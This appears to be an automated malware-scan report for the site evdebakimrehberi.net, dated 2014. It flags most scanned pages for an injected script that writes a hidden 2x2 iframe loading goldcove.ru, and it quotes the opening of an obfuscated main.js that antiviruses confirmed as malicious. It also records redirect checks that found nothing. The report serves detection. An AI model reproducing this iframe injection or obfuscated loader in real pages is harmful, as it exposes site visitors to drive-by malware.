Safe Browsing / Blacklists
Query: http://www.google.com/safebrowsing/diagnostic?site=evdebakimrehberi.net
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Result: The website is marked by Google as suspicious. - visiting this web site may harm your computer.
Details are available here.
Scanned pages/files
Request | Server response | Status |
http://evdebakimrehberi.net/ | 200 OK Content-Length: 56635 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/main.js | 200 OK Content-Length: 33283 Content-Type: application/javascript | malicious |
Malicious code - confirmed by antiviruses (see below) var var1=true;var var2=10;var2++;var var6=0.0025;if(var6==null){var var5=0.0123;if(var5<0.0104){var var4=1819;if(var4==14){var var3='mib'}}}var var7=0.017;function per(str,shift){var var4,ret,pos,var1,var3,ch,len,ext,sh,var5,ich,var2,cnt2,var6,cnt1,sux,ch;for(var var1=0;var1<9;var1++){var var2=14;var2++;var var4=1209;if(var4==21){var var3={fub:5}}}var var7=1107;if(var7<0.001){var var5=30;var5-=0.022;var var6=5685;var6--}var var5=57;var var8=0;do{var var10=29;if(var10!=7170){var var9=13; Antivirus reports:
| ||
http://evdebakimrehberi.net/uyeol.php | 200 OK Content-Length: 42554 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/arabul.php | 200 OK Content-Length: 53246 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/daditalep.php | 200 OK Content-Length: 55984 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=15 | 200 OK Content-Length: 46067 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/uye_sifremi_unuttum.php | 200 OK Content-Length: 32758 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=38 | 200 OK Content-Length: 38000 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=16 | 200 OK Content-Length: 39051 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=34 | 200 OK Content-Length: 40067 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=45 | 200 OK Content-Length: 37554 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=63 | 200 OK Content-Length: 39427 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=66 | 200 OK Content-Length: 39457 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=65 | 200 OK Content-Length: 40846 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> | ||
http://evdebakimrehberi.net/makale.php?mid=57 | 200 OK Content-Length: 37962 Content-Type: text/html | malicious |
Malicious code found. Script contains blacklisted domain: goldcove.ru document.write('<iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>'); Decoded script: <iframe src="http://goldcove.ru/in.cgi?15" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe> Malicious iFrame found. size: 2x2 src: http://goldcove.ru/in.cgi?15 This URL is marked by Google as suspicious <iframe src="http://goldcove.ru/in.cgi?15" name="twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"> |
Malicious Redirects
First query (normal visit):
GET / HTTP/1.1
Host: evdebakimrehberi.net
Result:
HTTP/1.1 200 OK
Cache-Control: private
Connection: close
Date: Wed, 17 Dec 2014 20:42:20 GMT
Pragma: no-cache
Server: Apache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=b7a9c1932b323f581e70cc5f3fb4048f; path=/
Set-Cookie: tekilgun=66cef3ce8c15c1b53adedd3699ca859f; expires=Thu, 18-Dec-2014 20:42:20 GMT
X-Powered-By: PHP/5.3.29
GET / HTTP/1.1
Host: evdebakimrehberi.net
Result:
HTTP/1.1 200 OK
Cache-Control: private
Connection: close
Date: Wed, 17 Dec 2014 20:42:20 GMT
Pragma: no-cache
Server: Apache
Content-Type: text/html
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Set-Cookie: PHPSESSID=b7a9c1932b323f581e70cc5f3fb4048f; path=/
Set-Cookie: tekilgun=66cef3ce8c15c1b53adedd3699ca859f; expires=Thu, 18-Dec-2014 20:42:20 GMT
X-Powered-By: PHP/5.3.29
Second query (visit from search engine):
GET / HTTP/1.1
Host: evdebakimrehberi.net
Referer: http://www.google.com/search?q=evdebakimrehberi.net
Result:
The result is similar to the first query. There are no suspicious redirects found.
GET / HTTP/1.1
Host: evdebakimrehberi.net
Referer: http://www.google.com/search?q=evdebakimrehberi.net
Result:
The result is similar to the first query. There are no suspicious redirects found.